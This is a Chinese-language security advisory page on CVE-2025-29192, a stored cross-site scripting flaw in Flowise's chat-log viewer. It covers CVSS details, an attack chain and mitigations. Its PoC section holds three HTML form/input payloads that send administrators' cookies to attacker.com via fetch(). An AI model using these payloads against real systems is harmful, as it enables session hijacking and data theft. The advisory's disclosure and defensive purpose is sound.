IPBUF安全漏洞报告
English
CVE-2025-29192 CVSS 8.2 高危

CVE-2025-29192:Flowise跨站脚本漏洞(XSS)

披露日期: 2025-10-06

漏洞信息

漏洞编号
CVE-2025-29192
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Flowise

相关标签

XSS跨站脚本Flowise存储型XSS高危漏洞CVE-2025-29192AI工具Web应用安全GHSA-7r4h-vmj9-wg42

漏洞概述

CVE-2025-29192是Flowise应用中存在的一个高危跨站脚本(XSS)漏洞,CVSS评分为8.2分。该漏洞影响Flowise 3.0.5之前的所有版本。Flowise是一款开源的AI可视化工作流构建工具,允许用户通过拖拽方式创建基于大语言模型的应用。该漏洞允许攻击者通过精心构造的FORM元素和INPUT元素,在管理员查看聊天日志时触发恶意JavaScript代码执行。攻击者无需认证即可利用此漏洞,但需要管理员用户进行交互(如查看包含恶意内容的聊天记录)。一旦成功利用,攻击者可窃取管理员的会话凭证、敏感数据,或在管理员权限下执行未授权操作。该漏洞已在Flowise 3.0.5版本中修复,建议用户尽快升级。

技术细节

该XSS漏洞位于Flowise的聊天日志查看功能中。攻击者通过在聊天消息中注入恶意的FORM和INPUT HTML元素,当管理员通过Flowise的Web界面查看聊天日志时,这些恶意元素将被渲染到浏览器中。由于Flowise未对聊天日志内容进行充分的HTML净化和编码处理,恶意脚本得以在管理员的浏览器上下文中执行。具体攻击流程为:1)攻击者通过任意可与Flowise交互的渠道(如聊天接口)提交包含恶意HTML标签的消息内容;2)恶意内容被持久化存储到聊天日志中;3)当管理员登录Flowise平台并查看聊天日志时,浏览器解析恶意HTML标签;4)嵌入在FORM/INPUT中的JavaScript代码(如onload、onfocus等事件处理器)在管理员浏览器中执行;5)攻击者可窃取管理员Cookie、会话令牌或执行其他恶意操作。该漏洞属于存储型XSS,危害性较大,因为管理员通常拥有系统最高权限。CVSS向量显示其网络攻击向量为AV:N(网络),攻击复杂度为AC:L(低),所需权限为PR:N(无需认证),但需要用户交互UI:R,作用域为S:C(已改变),机密性影响为C:H(高),完整性影响为I:L(低),可用性影响为A:N(无)。

攻击链分析

STEP 1
步骤1:信息收集
攻击者识别目标系统使用Flowise 3.0.5以下版本,可通过响应头、错误页面或公开信息确认。
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意FORM和INPUT元素的HTML payload,用于窃取Cookie或执行其他恶意操作。
STEP 3
步骤3:注入恶意内容
攻击者通过Flowise的聊天接口或任何可输入聊天内容的途径,将恶意HTML payload提交到系统中。
STEP 4
步骤4:等待管理员查看
恶意内容被持久化存储在聊天日志中,等待管理员登录并查看聊天记录。
STEP 5
步骤5:触发XSS执行
管理员查看聊天日志时,浏览器解析恶意HTML,触发JavaScript代码执行。
STEP 6
步骤6:数据窃取与权限提升
恶意脚本窃取管理员会话Cookie或令牌,攻击者利用获取的权限执行进一步攻击,如访问敏感数据、修改配置等。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-29192 PoC - Stored XSS via FORM/INPUT elements in Flowise chat log --> <!-- Attacker submits malicious payload through chat interface --> <form action="https://attacker.com/steal" method="POST"> <input type="hidden" name="cookie" value=""> <input type="submit" value="Click me" autofocus onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)"> </form> <!-- Alternative payload using onload event --> <form id="xss" action="javascript:fetch('https://attacker.com/log?c='+document.cookie)"> <input type="submit" onmouseover="fetch('https://attacker.com/log?c='+document.cookie)"> </form> <!-- Payload that triggers automatically when admin views chat log --> <form action="x" onfocus="fetch(`https://attacker.com/exfil?d=${document.cookie}`)" tabindex="0"> <input type="hidden" name="x" value="y"> </form>

影响范围

Flowise < 3.0.5

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制管理员对聊天日志功能的访问权限;2)在Web服务器或反向代理层面配置内容安全策略(CSP),禁止内联脚本执行;3)部署Web应用防火墙(WAF)规则,过滤恶意HTML标签和JavaScript代码;4)监控异常的管理员会话活动,及时发现可疑行为;5)审查并清理已存在的聊天日志中的可疑内容;6)为管理员账户启用多因素认证(MFA),降低会话窃取风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表